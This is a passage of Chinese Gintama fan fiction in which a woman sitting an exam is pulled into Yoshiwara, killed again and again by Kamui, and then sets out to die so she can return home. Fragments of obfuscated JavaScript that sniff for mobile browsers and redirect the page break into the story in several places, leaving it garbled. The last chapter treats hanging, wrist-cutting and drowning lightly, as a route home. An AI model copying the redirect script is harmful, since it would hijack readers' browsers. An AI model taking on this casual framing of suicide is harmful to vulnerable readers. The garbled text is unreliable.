《【银魂】逆流而上的飞萤之光》 1. 开端 考试正式开始。 柔和的电脑女音响起,我深呼吸把试卷翻过来,大致浏览一遍。 题目都是熟悉的,稳了!看到最后几道抢分的大题跟之前做过的模拟题差异不大,lucky~我瞬间有种爆哭的冲动——考过试的都能明白这种激动。 这科我考了三年了,终于看到一丝过的希望! 慎重地在答题卡写上自己的名字,我沉下心做题。 忽然间,阵阵轻声笑语隐约响在耳边,我狐疑地抬头,考场一片安静,所有人连同那两位监考老师都在低着头。 糟糕,该不会紧张过度,出现幻觉了吧?我连忙收敛心神,专注于题目。 半响,倒水的细微声响不断,还有断断续续的弦乐声,我的思路被打断,忍不住蹙眉抬头。 谁那么没品,在重要的考场附近弹琴啊!举报,我要投诉! 目之所及,一片宁静,大家都在专注答题。考试才开始,也没有那些想要提前交卷的高手。 莫名地,我脊背一阵发凉。 糟糕,一定是太紧张了!冷静,阿萤,虽然今年是最后一年,再不过科就要全部重考,但是……这份题目很有把握的,这次一定能过! 心理建设还没做完,猛地失重感疯狂席卷了我全身,我惊骇地睁大眼,前座的背影开始旋转模糊。我用力眨眼,眼前的色彩瞬间清晰起来,一切仿佛蒙上一层柔光,鲜艳而平面。 不是考场,眼前的是个梳着大背头的老人家,气势慑人,他的对面坐了个橘色长发的小哥,两人笑着说着话,眼神却丝毫不掩饰想要刀了对方的欲望。 啊嘞……我眨了眨眼,画面没变化,愣愣地低头看了看自己。 没有书桌,没有试卷,甚至身上穿的还是一袭粉紫色的和服,手上拿着古琴。卧槽,什么情况?我的考试呢? “那个……”我慌乱地丢开手中的琴。 下一刻,老人家手拿着折扇狠狠地往我挥过来。我连他的动作都还没看清,整个人已经被打飞起来,头颅狠狠地砸进不算高的天花中。 剧痛席卷全身,身上的衣服慢慢湿漉起来,有些温热的液体顺着我的身体流经腿脚,滴滴落下。 什……什么情况? 我猛地张开眼,没有老头,没有痛苦,我眼前还是那份熟悉的考卷,还有只填了几道题的答题卡。 脊背一寒,冷汗潺潺地从额头滑下,我用力握紧了手中的笔,定了定神,顾不得那么多,继续答题。 “你们是来刺探老夫的吧,真以为我看不出来?” 才填完单选题,失重感再次袭来,还有那道苍老狠戾的嗓音。脖子间一阵刺痛,那些粘稠的液体划过皮肤的感觉有点恶心,我目瞪口呆地望着眼前昏暗的木板隔间。 这……像是天花里头? 下方女人尖叫方响,又被强硬地终止了。此刻,我只想到多选题还没答,那个才是吃分的! 下意识地,脚动了动,下一瞬我整个人跌落,重重地摔在地上。 视线因为一头的血有些模糊,我隐约只能看到两人在对峙而坐。顾不得其他,我挣扎着伸出手,“快,杀了我……赶紧的……” 我要考试! 两人大概是没料到我忽然插话,微愣着看过来。 “嗯?”一头橘发的少年笑眯眯地看着我,俊俏的脸蛋看起来很友好,语调饶有兴致,“没想到还活着呀~” “废话少说,我选择题还没做完!快杀了我!”此刻我心中只有考试,全然顾不上他的话,血淋淋的手抓着他就是一阵摇晃。在那双湛蓝的眸子里头,有着清晰的我自己满头血的恐怖模样。 “可以哦~”少年话音一落,笑着挥手。 我只看到自己的身体被手刀砍成两半,鲜血四溅,吓得我呼吸都停了。 “同学,同学?” 狠狠吸了口气,我眼前顿时清明,监考老师的大饼脸疑惑地看着我。 “你还好吧?同学?” 我摸了摸胸腹,还连在一起!目光从监考老师的脸移到教室前方的挂钟上,还有一个小时! “没事!我可以的!”连忙丢开这些混乱的想法,我低下头认真看题。 多选有几道不确定,我飞快地填完答题卡进入大题。这可是我熟悉的拿分项目,今天成败就看这个了…… 才闭了一下眼,再张开时又是熟悉的天花板,脖子那一圈有些疼,但没有之前那种剧痛。我翻了个白眼,暗忖自己是不是考试压力太大引起思觉失调了。 身上还是有那种黏糊糊的感觉,但没有很痛,就像是不小心粘上了什么似的。谈话声从下方传来,还有踢翻桌子的那种声响。 我默念了一下,大题都做完了,还没检查……但问题应该不大了。我是越检查越错的类型,一般考试我都不会检查太多。 “那可不行。我的饥渴要怎么办?女人和酒客解决不了……”少年的嗓音从下方传来,我想起方才那张有点稚嫩可爱的脸蛋,撇了撇唇。这人看着年少,但话却出格得很。 再想想他方才把我劈开两半的狠劲,我忽然不想让他再杀我一遍。要不……等他走了,让那老头再动手?被扇死,总比被劈死来得没那么大阴影。 忽然,天花碎裂,我整个人往下掉,跌落在榻榻米上。我靠,这回是真的有点痛了! 我吃力地张开眼,猝不及防地对上一双湛蓝的眸子,如夏日晴空般的眸底满是趣味和好奇。 “诶~还没死呢~有趣……”意味深长的强调拖得老长,有种冷酷的戏谑。 我嘴角不受控制地抽了抽,脑子里很不合时宜地想起刚才的一道不确定的多选题。好像C也是对的…… “要不……你还是把我杀了吧……”一个不经大脑的冲动之下,我眨着眼,颤巍巍地道。 少年眨了眨蓝眸,忽然眉眼俱弯地笑了,“可以哦~” 说罢,他抬起的手刀狠狠地划下,视线的最后是漫天的鲜红。 啊……那是我的血啊…… 世界顿时从二维变成三维,颜色暗淡起来,我整个人不断发冷,机械般低头看着桌面上的答题卡,手像是有自己想法般在那道多选题上涂上C。 “考试结束,请考生……” 铃响的那一瞬间,我竟有一种解脱的真实感。而这种感觉我隐约觉得跟我这三年的努力没有太大关系。 抹了把额际的汗,我亲眼目睹忍不住多看我几眼的监考老师把我的试卷收起,悬着的一颗心终于彻底放了下来。 终于……结束了…… 啊呸!结束个毛线! 我才趴下想缓口气,一个失重,那熟悉的天花板又出现在眼前了!隐约从下方传来的,还有少年那句‘那种东西无法满足我的饥渴’。 我翻了个白眼,想起之前两次劈断我身体的那只白皙的手,下意识地放轻动作。下一刻,下坠感袭来,我软趴趴地跌落在榻榻米上。 这一回,我闭着眼敬业地扮演着死尸,连呼吸都下意识憋住。耳边人声不多,还是那老头和那小哥在说话,间或有一个男中音劝阻。没多久,耳边一阵噼里啪啦的巨响,那两个人果然打起来了。 仗着房间女人的尖叫和巨响,我缓缓地舒了口气,憋死我了……小心地眯起眼,冷不防对上那双兴致盎然的蓝眸。 我顿时僵住,连眨眼都不敢。 “诶~才不到十分钟啊……”橘色长发的少年蹲在我身边,单手撑着颊,蓝眸很可爱地眨了眨,头顶的那根呆毛可疑地转了一圈。 “喂,团长!不要惹了人就把锅丢给我啊!”另一边,那个男中音又丧又不忿地道,他的身影刚好挡在凤仙前面。 卧槽……什么情况?我猛地瞪大眼,少年那只白皙的手已举起。 “这位小姐……耐性不太好呢~”少年蓝眸轻眯,肆意的杀意毫不掩饰地盈满那双眼,笑容灿烂地道,“下一次……别碍事,不然……还会杀了你哦~” 手刀一落,我瞠目欲裂,再一次看着自己的血漫天飞溅,还有几滴落在少年清秀的脸蛋边上。 他心情仿佛很不错地朝我偏头一笑。 MD……容我给你竖中指! 咳咳咳……一阵急促的咳嗽,我猛地站起来,刚收齐答题卡的监考老师被我吓了一跳,愣愣地点头,“额,现在可以离开了。” 猛地抄起桌面上的笔袋,我飞快地跑到教师前面找到我的书包。 赶紧的,我要离开这个鬼地方! 一步!我才跑了一步,整个身体再次腾空,那个熟悉的天花又出现在眼前!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824318|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我用力地低头砸了一下天花,蓦地想起少年之前的话。 “别碍事……” 等等,他该不会以为我故意打扰他们打架吧?这个逻辑很脑残,但我直觉那个少年的脑子跟我这种正常人是不一样的。所以很有可能…… “神威,你打算超越你父亲啊?” 下方传来一道阴狠的苍老嗓音,就是那个第一次把我扇死的那位!我心下一寒,浑身僵硬。 “早已超越了哦~那种拘泥于家族这种无聊的东西,被自己孩子砍掉一只手的软弱男人,是不可能得到真正的强大的……”少年清亮的嗓音随后响起。 卧槽,他连自己老爸的手都砍?我轻轻抽口气,难怪砍我砍得那么顺手!杀人狂啊这是!不能再死了……死了那么多次都回到这里,再死难保又是张眼天花板。 这一次,考都考完了,我要活过十分钟!先活下来,再好好想想这是什么鬼! 噼里啪啦的巨响夹杂着女人的尖叫传来,我借着和服的掩饰,小心地伸手扣着天花,不让自己太快掉下去。 很快,打斗越发激烈,那名叫神威的少年声音小了很多,还有瓦片掉落的声响。我再也支撑不住,整个人掉在榻榻米上。 没有装死,我张眼望去,身材魁梧的大背头老人跟神威那小子在外头瓦片上对峙,背影高大的男人搔着头站在一边看着,打算劝阻。 猛地,神威一脚把企图劝阻的大个子踩进瓦片里,在那名叫阿伏兔的大叔懊恼的叫声中回头,笑意盈盈地眯起眼,“别碍事,不然……杀了你哦~” 阿伏兔无奈地捂脸,嘴里说着抱怨,但也没有上前。我躺在他身后不远处,心底越发冰冷,总感觉神威那句话是对我说的。 另一边吓坏的姑娘看到我抬起头,瑟缩着爬了过来,半扶着我一起往门外爬。 “快走!趁他们打起来……不然凤仙大人会生气……”女人梳着传统发髻,面容扭曲着也看得出长相很美。 凤仙……是那老头吗?他是这里的老板?我隐约记得他扇死我之前那姿态就是在待客。我颤抖着手脚爬到日风的门边,拉开。 猛地劲风一袭,我下意识想要回头,却见那个女人狠狠地把我往外一推。下一瞬,粘稠的鲜红飞溅在我脸上,温热的…… 我愕然地看着砸在她背上的伞,她死白的脸上只有口红依然鲜艳。 快走……她动了动唇,我猛地回过神,飞快地转身连滚带爬拐进转角。最后回眸的瞬间,我看到那把伞从她身上被人抽出,女人的血溅落在走廊对面的门上。 心跳又急又烈,肾上腺素飙升到极点,我已无法形容如今的状况。我只知道,走,快走……我要离开这个战场,离开这些脑子不正常的东西! 踉踉跄跄地往下层跑,很奇怪一路上都没看到人,但是远处总有喧哗,感觉像是人们都聚合到一边了。好不容易来到大堂般的地方,看到一个高挑的身影站在楼梯平台处,我心下一喜。 还没等我喊出声,一顿如暴雨般的东西疯狂地朝那个身影袭去。 我啪地跌坐在地上,瞠目结舌地看着刺进我张开的腿间那根黑色的暗器。呆呆地抬头,那个身穿奇怪和服的女人已经被刺了一身的伤。 这到底是怎么回事? 我用力拔起那根暗器,爬起来转身就跑。好恐怖……这里的人都好恐怖啊!她们都不怕犯法被抓的吗?报警,我要报警啊——请求支援! 我沿着人少的地方乱跑,方才想找人求救,但现在我只生怕被人找到。这座城内到处都有打斗,还有穿着女人和服的男孩在拼命,内部太危险了,我慌不择路之下,从窗外沿着屋檐走,好不容易拉开一个天窗,顺着通道躲进一个昏暗宽敞的房间。 跌坐在榻榻米上,我抓着胸前的大蝴蝶结急促喘气,感觉肺部几乎要爆炸般痛。 “你……是……阿萤?”柔和的女嗓忽然从黑暗里响起,我吓了一大跳,猛地站起来。 视线适应了昏暗,我看到那边跪坐着的人。 那是一个很美丽的女人,打扮明明跟这座城的人没什么分别,甚至脸色还苍白一些,但那双莹润的大眼里头却满是坚定和生机,散发着如光般的魅力。 日轮。 莫名其妙地,我脑海里浮现一个名字。 2. 结局 日轮对我的出现非常震惊,按她所说她现在被老板凤仙软禁中。托她的福,我总算对这里发生的事有了一些了解。 这里是吉原,在夜王凤仙统治下的游女之地。她是这里最耀眼的花魁,也是凤仙亲自以锁链禁锢的美人,如今那个之前被她送出去的孩子正带着好不容易遇到的敢跟凤仙作对的人们闯了进来。那个橘色长发的小哥神威,应该就是她口中凤仙以前的组织宇宙海盗春雨的人。 说实话,宇宙,日式,海盗,这些二次元才能出现在一起的设定让我脑子乱糟糟的。这些年忙于工作和考试,我已经很久没看过动画了,但也从一些视频和身边人口中知晓一些比较火的动漫。这些诡异的设定有些印象但不多,而最让我无语的是,如今的我是一个名为月见萤的游女,精通各种琴技和舞蹈,在吉原里头仅次于最有名的几位太夫之下。 我摸了摸自己弄花了妆的脸蛋,能让凤仙带在身边待客的游女,颜值应该不错。但这不是重点,我到底为什么会出现在这里?该怎么回去? 总不能让那小哥再杀我一次吧……老实说,被他砍了几次,如果要死的话,我想要一个柔和些,舒适些的死法。可惜那小哥看起来不太合作。 不过,现在好像不是考虑这个的时候。 我休息过后身体恢复了些力气,抬目看向那个冷静地跪坐着的女子,“日轮,我带你离开吧。” 反正我是要离开的,死在路上也是个尝试,那么带上她也未尝不可。这么美好的女子,不应该被埋没在黑暗里头。 日轮看着我,眼神悲伤,“我离不开的……阿萤,凤仙大人不会让我离开这里。而我自己……也没有了离开的资格。” “为什么?现在外头乱得很,正是偷走的好机……”看到日轮撩起和服下摆露出伤痕累累的脚腕,我的话说不下去了。 那是旧伤,而且看起来是没有得到很好的治疗……一股无名火升起,我拉了拉和服的袖子逼着自己冷静,咬着唇沉默了好一会儿,我站了起来,试着拉了拉木门。 我对眼前的女子有怜悯,但还没到让我舍弃自己在这里陪她的地步。木门纹风不动,一种深刻的无力感狂袭心头,我勉力压下想哭的欲望。 这都是些什么奇怪的经历啊……考完试让我轻松一下都不可以吗? 忽然,门外有细碎的声音,我贴在门上凝神细听。那是个孩子的哭声,紧接着一下下沉重的捶门声。 一道对我来说十分深刻的爽朗嗓音从外头传了进来,我瞪大眼死死盯着那道门,仿佛能看到那张俊俏的脸蛋笑眯眯的样子。 颤抖着退后几步,我跌坐在日轮身边,“不,不是吧……他也来了?” 我又要死了吗? 蓦地,一个奇怪的念头闪过,之前几次都是被他杀了没多久又回来了,那是不是说……因为是他才这样?那……我不能被他杀掉! 日轮扶着我,明明已经泪流满脸,却依然勉力维持着声调平稳,冷酷地拒绝外头那个孩子。在那孩子一下比一下沉重的撞门声中,我冷静下来,握着日轮轻颤的手,无声地安抚。 孩子的哭喊过后,大门忽然从中间生出裂纹,很快破碎。那道阻隔了这对没有血缘关系的母子的门被推开,光从门外透进来。 “银桑——”那个不大的孩子背对着门,朝外头哭喊道。那样子,像是受尽欺凌的小可怜好不容易等到了靠山。 我越过他小小的背影,往那边看过去。 那是一个有着一头醒目银色卷发的男子,白底蓝纹的和服不太正经地套在身上,表情懒洋洋的,温厚的嗓音调侃意味很足,但眼神却非常凌厉。 是他……我好像看过这个人的图片……这个发色,不对,他才是主角!我愣愣地移开视线,神威跟夜王也在门外,所以……神威果然是反派! 母子相认的场面非常感人,但我压根儿没心思感动,因为……神威看到我了。 那双笑眯眯的眸子掠过我,转身看向那位银桑,神威语带惊喜,“啊嘞,还活着啊……” 这句话,我一时间不知道他是对我说还是对那个人说。 夜王凤仙丝毫没理会我的存在,他自关注着那个银发男人,那个带人大闹吉原的浪人。 “一边看着老头的V字发髻一边喝酒,有什么美味可言?在这种地方喝酒也不会觉得好喝……”那人面对着压迫感强烈的凤仙也没有一丝畏惧,连腔调也还是漫不经心,“被锁链困住的女人们所斟出来的酒,一点酒香也没有。一边哭着一边斟出来的酒,一点也不会觉得好喝……女人的眼泪,作为下酒菜来说,实在是太辛辣了……” 懒洋洋的嗓音慢慢低沉,透着冷凝,他的话让我几乎想要给他点赞……这三观,难怪人家是主角,神威这只知道杀人的小子果然是反派! 你妹的,神威那混蛋还煽风点火! 嘭的巨响,凤仙随手便毁掉一根比我整个人还宽的柱子,我被这些逆天的暴力吓得完全不敢动弹,目瞪口呆地看着神威轻飘飘地躲开跳落在另一边。 神威他……不是跟凤仙一伙的吗? “怎么,看到回到妈妈身边的小孩的身影,你想起了以前的事么?抛弃病中母亲的人难道是想要赎罪么?” 慌乱中,我听到凤仙的话,心下对神威这个小子更觉得绝望。 连家人都抛弃的人,肯定没什么人性,还喜欢杀戮……我难道又得死在他手中,然后回到那个时间点? 晃了晃神,外头已经打了起来,主角好像还是被完虐的状态。还有那个叫晴太的孩子也是脑子有问题,都这样了还浪费他好不容易争取来的时间,我不能理解…… 一股深刻的愤怒从心底而起,我咬了咬牙,抓着日轮的手把她搭上背上,“我们快走,没事,你走不了,我背你……” 日轮张手环抱着我,“别傻了,阿萤,你快走吧……帮我带晴太离开,不然,就来不及了。” 我跪坐在榻榻米上,浑身轻颤。我不知道为何要带着她,也许是这具身体原本的情绪,但是……了解这个女人的过往后,在那种眼神的注视下,要我放下她一个人走,我就是做不到啊……无论是自身意愿还是责任感使然都做不到! “日轮,我们带着孩子走……那个男人用生命换来的机会和时间,不要浪费啊。”我话音才落,便有一滴泪落在我颈边。 日轮没有说话,只是紧紧抱着我。同样的话,神威也在对晴太说,这让我有点疑惑,他到底是哪一边的? 好不容易下定决心的晴太跑回来,发现日轮的腿伤,震惊得无法反应过来。 “日轮,吉原里的女人……全部都是老夫的东西,她们哪里都去不了,就算想飞往地上,这里也没有让她们飞翔的天空。再说,她们的翅膀,早就让老夫折断了……” “断了又怎样!”那个老头的话让我越听越愤恨,那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿萤——” 弹指之间,胸口猛地一痛,我瞠目看着自己的鲜血飞溅,低头便看到少年那只白皙的手直直地从我背心贯穿。日轮的尖叫和晴太惊惧的吼叫响彻我周边,我喷出一口鲜血,点点鲜红溅在他的脸蛋上,衬得那个笑容分外刺眼。 弱者……咱们都没打过,凭什么说我弱啊! “王……王八蛋……”我用尽所有力气,抡起拳头朝他脸上抽去。 最后一眼看到的,是他略带惊讶的眼神。 窒息的感觉顿时消失,我剧烈地咳起来,整个人抱着书包弯下身。 “喂……你没事吧?”身边路过的人吓了一跳,连忙扶着我问道。 我惊惧得弹跳起来,眼前是不认识的脸孔,对方显然被我吓到了,讪讪地松开手。我回过神,摆摆手,“没事,对不起……我……” “啊哈,都考完了,你不用太紧张。”同是考试人,她也没计较,笑着鼓励我。 我愣愣地点点头,才发现自己还在考场……猛然想起什么,我飞快地跑出考场,直到离开教学楼,才从书包里头翻出手机,取消飞行模式,在网上搜神威和银桑…… 才看了一会,我一个头晕,忍不住闭眼,再次张开时又看到了那个熟悉的天花。 这一次,我发誓远离神威那个潜在妹控傲娇杀人狂! 3. 新开始 这个时候我还有心情回想一下之前几次死亡,我觉得经历了这一切的自己已经强得可怕,还能复盘这一切。 几次循环下来我基本都是死在神威手中,如果连第一次也算的话,那就是夜兔手中。所以……要打破这个循环的话,我不能死,或者说,不能死在夜兔手中。 脆弱的木板天花支撑不了摇摇欲坠的身躯,我顺势跌落在榻榻米上,有经验之下算不得很痛。聊得正杀气十足的夜王和神威两人并没有施舍一个眼神给我,当然,我这次非常配合地低调装死。 趁着他们打起来,我立刻张开眼,敏捷地翻滚到一边,那个名为阿伏兔的青年搔着头不太积极地劝说着他的团长,看到我的动作那双没神的死鱼眼微微睁大。 我祈求般看了他一眼双手合十拜托状,他挑眉的样子仿佛看到什么有趣的东西般表示惊讶,但他没阻止我。 抓住那短暂的机会,我冲到那个尖叫的女人身边,一把捂着她的嘴把人往门外拖去,“别叫,赶紧逃啊!” 这个女人在上一次救了我,我没打算让她死在这里。 托几次经验的福,现在的我腿不软手不抖,浑身还算有力气,那个惊恐的女人还没反应过来就被我推出了门外。 强烈的注视感袭来,我咬牙回头,神威的笑容在房间的另一端绽放,湛蓝的眸子杀气盎然。他手上还带着血,没有跃过来,只是看着我,笑道,“你果然很有趣呢~” 深刻的恐惧铺天盖地地席卷而来,我脊背瞬间飙出冷汗,飞快地掉头拖着人往另一边逃去。 “阿萤……凤仙大人他……”女人被我连拖带抱地往外跑,慌乱得语无伦次。 把人拖进一个不起眼的房间后,我才喘着气看向她,“别怕,他看不到明天的太阳了。我们只要熬过今天,不,熬过这一战,我们就自由了。” 女人瞪大了一双美目,惊恐地捂着我的嘴,“别胡说,要是让那些百华听到,会惩罚你的!” 百华是什么现在的我不太清楚,但凤仙的死期我已经查过了,那个叫坂田银时的吉原救世主会带领这里的人在不久后把他送去地狱。 不想解释太多,我只好配合她的惊慌,把她藏在壁橱里头。 “你呆在这里,等外面的骚乱过后再出来。”逃命的时候我们已知道外头的事了,现在那些女人敌我分不清,最好还是先躲过去。 “那你呢?”她抓着我关了一半的拉门,吃惊地问道。 “我去找日轮……”我老实地道,不知道为什么,我还是放不下那个女人。 不是同情,就是死前的遗憾吧。我没有把她带走,虽然她肯定有自己的命运,虽然吉原解放后她一定会好……但我就是愧疚。也许,我还是能陪她走一段,然后再让其他人杀掉我。 完美! 不顾她还想说什么的迟疑,我抱着过长的和服下摆利落地拉上门,往下层跑去。多亏上一次的经验,我大概知道几个主战场的位置,只要避开神威…… 藏人的地方我刻意远离了我知道的战场,等我往日轮的地方去时路上已经满是那些带着武器的女人,应该就是方才说的百华。为了避开她们,我从房间窗外翻出去,踏上看起来平稳的瓦片屋檐。 破碎的屋檐上,一个红色和服的小姑娘埋在瓦片里头,身穿蓝色女子和服的眼镜少年踉跄着从边上走过去,打算把她从里头拉出来。他们应该刚经过一场大战,两人身上脸上都挂了彩。 少年拉了一下便要摔出外面,我吓了一跳,连忙跑过去把人扶住以免他跌出去。 “你没事吧?”我一手护着他,一手把躺在瓦片里头哭泣的小姑娘拉起来。看清她面容的刹那,我心头一颤。 卧槽,这小姑娘跟那个杀了我好几次的小子也太像了吧! “谢谢你……”低落的小姑娘没注意我的震惊,擦了擦眼泪,脸上浮现一抹坚毅,“新八,我们走吧,去救晴太和日轮。” “等等,”我叫住两人,“你们也是要去救日轮吗?我也跟你们一起去,我知道她在哪。” 两人回头惊诧地看着我,我咧了个无奈的笑容,“我刚去过那里……跟我来吧。” “诶?” 好不容易跳进走廊,一堆黑色的影子就飞速朝我袭来。我还来不及反应,红色的影子一晃,神乐已挥舞着紫伞跃到我身前,打落那些袭击而来的苦无。 “没事吧,阿萤姐。”刚备受打击后回血的她目光清亮,回头朝我道。尽管吊着一条手臂,但单手迎战的她依然敏捷,战斗力杠杠的。 我甩了甩路上捡来防身的微型关刀,努力克服看到血想吐的冲动,“我没事,但是新八他……” 神乐表情一虚,新八默默地拿下插在他额头的苦无,托了托眼镜,“不,我也没事……但小神乐你能不能不要乱打,这样我很为难的……” 袭向他的那苦无他确实打飞了的,不过又被神乐打回来而已。 我叹为观止地看他抹了把额头的血便好像没受过伤般的愈合能力,感叹果然是动漫世界。不过我也没资格说他们,尽管身上都是血,我的身体却没有伤痕,就像是砍号的同时换了个新号重来。 “少啰嗦,这些都避不开怎么变更强?”神乐严肃地朝他道,扛着伞指了指我,“你再松懈下去,就连阿萤姐都不如了。” “我感觉我被内涵了……”我扶额,“这边好像越来越多人了,听她们说的话好像在找日轮……大概她逃出来了?” 说是带路,但我对这里实在算不上熟悉,室内方向感也一般。还好他们两人非常配合,走了错路也没发觉,一脸信任地跟着我走。 来的路上我们遇到了好几拨的百华,所幸他们都没打算杀人,只是自保式反击,但即使这样那些鲜血飞溅的画面也让我吐了两回才适应了些。 这不是正常的世界,我不能太惧怕……虽然死了这么多次,但除了自己的血我还是第一次看到这么血腥的场面,反而是新八和神乐脸不改色地前进。 真不愧是主角。 我们冲过了这一堆人的围剿,往另一边跑去。忽然,我在里头的楼梯口看到一群人正围过去。 “神乐,新八,那里!”我眼尖地瞄到一个小小的身影,在这个吉原孩子只可能有那么一个。 利落地解决了那些偷袭日轮的百华,我们看到了躲在楼梯下面的日轮和她的小小保护者。从日轮口中,我们知道了让吉原重现在太阳下的方法。 “去吧,孩子们,打开这个囚笼,让大家得到真正的自由。”我大概给他们说明了一下地方的路线后,拍着他们的肩膀道,“日轮就交给我来保护,别这个表情啊神乐,这一点我还是能做到的。同样的,晴太和吉原的太阳就拜托你们了。” 跟他们一起的话我就是个拖后腿的,还不如跟日轮一起呆在这里。 神乐和新八也明白这是最好的安排,朝我们重重地点头,“那么,阿萤姐,日轮姐,我们在太阳下再见。” 看着这三个孩子的背影,我竟莫名地感到一腔热血在涌动,真是可怕的热血主角啊。 “我们也快找个地方躲起来吧。”看到百华朝这边跑过来的身影,我赶紧背起日轮往另一边跑。 日轮抱着我的脖子,像是下了某个决定般,温柔而坚定,“阿萤,这边……有个地方还是不得不去啊。” “嗨?” 我欲哭无泪地坐在屋檐上,把自己的存在感降得不能再低。身后是一片的百华,前方是夜王弥留的告别现场,我捂脸无法直视这一切。 要是我知道日轮这个不得不去的地方就是主战场,我一定会毫不犹豫地把她丢下转头便往另一边逃跑…… 完全不能共情日轮和那个被打得躺在瓦片中奄奄一息的凤仙之间关于太阳的往昔,就连那炙热的阳光洒在身上也无法温暖我那颤抖的身躯。 我颤巍巍地抬眼,果然看到那个打着伞笑眯眯地望着我的神威。 “啊啦,真是不听话的女人啊……”少年笑眯眯地朝我漫步而来,语调轻快,“果然,还是杀掉算了……” 诶?我骇然瞪大眼,下意识往后,那个明明单薄却满是杀气的身影已瞬间袭来。恐惧再次排山倒海般把我淹没,我连惊叫的余地都没有。 千钧一发之际,一柄木刀及一根苦无刺进我和神威之间。下一刻,一抹在阳光下过分耀眼的银色划过眼底,那个矫健的身影已挡在我身前。另一边,淡黄色头发的百华首领也谨慎地护在我身边。 “喂喂,这位小哥,底下的毛还没长齐便不要对女人太过痴缠了……会遭讨厌的哦~”坂田银时说话的声音懒洋洋的,还透着一丝大战后的疲倦,但不知道为何他只是这样站在那,便让人觉得方才的恐惧被打散了般安心。 “嗬~拖着这样残破的身躯,还想要继续当救世主吗?”神威视线落在他身上,饶有兴致地道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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冷,冷静……我努力给自己平复,总,总之,先找个时光机什么的…… 啊!不对,我就是一个时光机啊混蛋! 神威对我的表情仿佛很满意,连头顶的呆毛都轻快地转了转,才看向警惕着的坂田银时。 “我是把喜欢的东西留到最后吃掉的类型,也就是说,我很欣赏现在的你。所以比起再来一次,我对现在和以后的你比较有兴趣……”没理会坂田银时的反驳,神威走到边上,“好好把伤养好,我这边也是很忙的,可不要死掉啊,在被我杀掉前……地球的武士桑,还有那个重启键小姐。” 神威在神乐的嗷嗷叫唤声中轻跃而下,我乏力般跌坐在地上,下意识地揪紧拳头,完全无法反应过来。 重启键……神威的意思是,我死掉就要重来一次? 不,我不要这样……我要回去,我的考试还没出成绩呢!这是苦考三年来最有把握的一次了,我肯定可以过的,人生正要逆转啊!我不要留在这里,他一定没说准,不是我死了就行,而是我死在他手才会重来。 那要是……我死于其他原因呢?死于其他人手中呢? “阿诺,那个……这位小姐……” 我愣愣抬头,撞入一双绯红的死鱼眼,对方有点不太好意思但又不得不打断我的样子,眼珠子不断往下看。我回过神,才发现自己还抓着他的衣摆,连忙放开抬头对他道,“对,对不起……我不是故意的。” 坂田银时摆摆手,看清我面容的那刻绯瞳微颤,却转瞬恢复没什么精神的懒散。他顿了一下,才温声道,“别那么担心,虽然不知道为什么那小哥对你那么痴迷,但短期内他不会回来找你的。至少,在我还在的时候,应该都不会吧……所以不要露出那种快死的表情了,笑一下吧……难得太阳升起来的时候。” 这个男人,是在对我这个陌生人给出承诺吗?我眨了眨眼,忽然有点理解为什么我输入他名字时,网上弹出的第一条信息是他的受欢迎程度。 真是个怪人……莫名地让人放松下来的怪人。哦对了,还有人说是个烂好人。 “谢谢……”不管出于什么原因,我还是放下了恐惧,笑了笑。 仰头眯起眼望着吉原久违的阳光,我开始默默考虑怎样去死。 或许,我的猜想是对的,只要不是被神威杀掉,我死了就能回到我的世界。 虽然听着有点绝望,但总算是有一个努力的方向……嗯,努力去死的方向。 4. 万事屋 水从四面八方涌过来,我整个人被包围,空气隔绝,随着时间流逝,肺部的压力几乎要炸裂。顷刻间,求生的本能让我失控地张开口,水瞬间涌进喉咙,鼻腔。 哗啦一声,我猛地张开眼,四肢慌乱地划动,挣扎着从浴缸里爬起来,趴在边沿咳得眼泪鼻涕糊一脸。 不行……在浴缸淹死的可行性不太靠谱……我气弱如丝趴在浴缸边,再次失望,对我自己强烈的求生欲。 一个多月前,吉原开始了新的生活,我也一样。 月见萤是吉原比较高级别的艺伎,人美艺好,身价高,这些年下来私房存蓄不少,够我平淡地活到晚年了。之前因为凤仙的原因她没有选择权,但凤仙已逝,如今的我更没有留在吉原的理由。 游女想要离开吉原的理由随便找一个都能让日轮接受,我急不及待地离开吉原找了个地方落脚,然后开始我的寻死之旅。原以为很快可以结束这一切,没想到事情比我想象中更难实践。 上吊,不行,之前在吉原的房子横梁被蛀了害我摔了下来,再也不敢尝试了。现在的房子介绍人很好,不忍心让房子变成凶宅。 割脉,不行,刀子抵在手腕我已经无力划下去了,后来上网查了一下割脉死亡需要其他条件协助才能死,不太划算。 淹死,不行,我低估了人类求生本能。 “为什么死一死这么麻烦……”这段时间够我了解这个世界的情况,天人入侵,武士沦落,还有不同的黑暗势力各方纠结,太可怕了,这种地方就算有救世主我也不想留下。 死,必须死!为了我的考试,不,为了我的人生、和谐社会,我一定要回家! 翻身靠在浴缸上,我懒洋洋地看着电视里头的高楼大厦,脑海莫名闪过一个让我心疼的画面。 一直想要自杀的俊美黑发青年,翻飞的大衣一角,修长的身影轻轻一跃,坠落在五光十色的繁华灯火中。那个一心寻死却最怕疼的人,也以那种方式离开他的世界。 那么……我呢? 站在日式街道上等红绿灯的时候,我看着周围的景色,再抬头看了看天空上飞过的和式飞船,那种矛盾又无奈的感觉真的让人不知道从哪里开始吐槽。 